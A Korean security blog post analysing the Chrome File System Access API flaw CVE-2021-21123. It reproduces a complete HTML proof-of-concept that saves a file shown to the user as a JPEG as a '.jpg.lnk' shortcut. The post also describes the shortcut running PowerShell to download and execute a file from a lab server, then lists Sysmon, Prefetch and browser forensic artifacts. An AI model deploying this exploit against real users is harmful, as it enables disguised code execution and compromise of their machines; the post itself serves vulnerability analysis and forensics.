ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • [Chrome] CVE-2021-21123
    보안/1-Day 2021. 12. 22. 23:19

    1. 취약점 및 환경정보

    1.1 취약점 정보

    취약점 File System API에서 발생되는 취약점
    CVE CVE-2021-21123
    취약점 설명 Insufficient data validation in File System API in Google Chrome prior to 88.0.4324.96 allowed a remote attacker to bypass filesystem restrictions via a crafted HTML page.
    취약점 유형 RCE

     

    1.2 분석 환경

    운영체제 Windows 10 PRO 빌드18363.592 버전1909

    Chrome 버전 Chrome 86.0.4240.75

     

    1.3 PoC

    Github https://github.com/Puliczek/CVE-2021-21123-PoC-Google-Chrome
    <!DOCTYPE html>
    <html>
    
    <head>
        <meta charset="UTF-8">
        <title>File System Access API - security bugs</title>
    </head>
    
    <body>
        <h3>CVE-2021-21123 Exploit</h3>
    
        <img style="border: 2px solid grey" src="park.jpg" alt="bob-mento" width="453" height="604">
        <div>
            <button id="addNewFile" style="font-size: 26px; margin-top: 10px;">Save</button>
        </div>
    
        <script>
            const butSaveNewFile = document.getElementById('addNewFile')
            butSaveNewFile.addEventListener('mouseup', async () => {
                const options = {
                    types: [
                        {
                            description:
                                'JPEG Image (*.jpg)',
                            accept: {
                                'text/plain': ['.jpg.lnk'] //could be .exe/.bat or anything
                            },
                               // content: 'C:\\Windows\\system32\\calc.exe'
                        }
                    ],
                    //delete from Save as type "*.*" option
                    excludeAcceptAllOption: true
                }
    
                const handle = await window.showSaveFilePicker(options)
                const writable = await handle.createWritable()
                
                const response = await fetch('hack.lnk')
                await response.body.pipeTo(writable)
            })
        </script>
    
    </body>
    
    </html>

     

    1.4 공격방법

    File System API같은 경우 SSL인증서가 있어야 호출이 된다. 그러므로 공격 페이지에 https로 접근 가능하도록 환경을 구성해야 한다. 

    사용자 PC에서 공격자 서버에 접근하게 되면 [그림1]의 페이지에 접속된다.

    [그림1]

     

    사용자는 해당 이미지를 저장하기 위해 Save 버튼을 클릭하게 되면 JPG 타입으로 저장할 수 있다.

    [그림2]

     

    JPG파일로 저장했지만 실제 저장된 파일은 LNK타입으로 저장된걸 볼 수 있다.

    [그림3]

     

    다운받은 exploit.jpg의 속성정보를 확인 결과 파워쉘을 통해 http://10.10.10.129/hack/bobxploit.txt 파일을 C드라이브 밑에 Temp폴더안에 다운로드 후 실행한다는것을 확인할 수 있다.

    [그림4]

     

    실행 확인 결과 Temp에 TXT파일 생성 후 실행이 됐다.

    [그림5]

     

     

    2. 아티팩트

    2.1 Sysmon

    Sysmon에 기록된 프로세스 

    chrome.exe -> runtimebroker.exe -> searchprotocolhost.exe -> searchfilterhost.exe ->  chxsmartscreen.exe -> runtimebroker.exe -> powershell.exe -> conhost.exe -> nissrv.exe -> notepad.exe

     

    [그림6]

     

     

    2.2 Prefetch

    프로그램 흐름

    CHROME.EXE -> SEARCHPROTOCOLHOST.EXE -> SEARCHFILERHOST.EXE -> CHXSMARTSCREEN.EXE -> POWERSHELL.EXE -> CONHOST.EXE -> RUNTIMEBROKER.EXE -> NISSRV.EXE -> NOTEPAD.EXE

    [그림7]

     

     

    2.3 Browser Artifact

    ChromeCacheView를 통해 공격에 사용됐던 스크립트가 캐시파일로 남아있는걸 확인할 수 있다.

    [그림8]

     

    BrowsingHistoryView를 통해 공격페이지 접속후 C:/Temp/bobxploit.txt를 실행한 흔적을 볼 수 있다.

    [그림9]

     

     


    Reffer

    HTTPS 구축방법 https://youtu.be/rgBY6phztlk

    Exploit 영상 https://youtu.be/l9swTtaRDNs

    Chrome Browser Artifact https://dyoerr9030.tistory.com/2

    Windows Error Report https://yum-history.tistory.com/295

     

     

     

     

     

    '보안 > 1-Day' 카테고리의 다른 글

    [Chrome] CVE-2021-30551  (0) 2022.01.01
    [Chrome] CVE-2021-21224  (0) 2021.12.22
Designed by Tistory.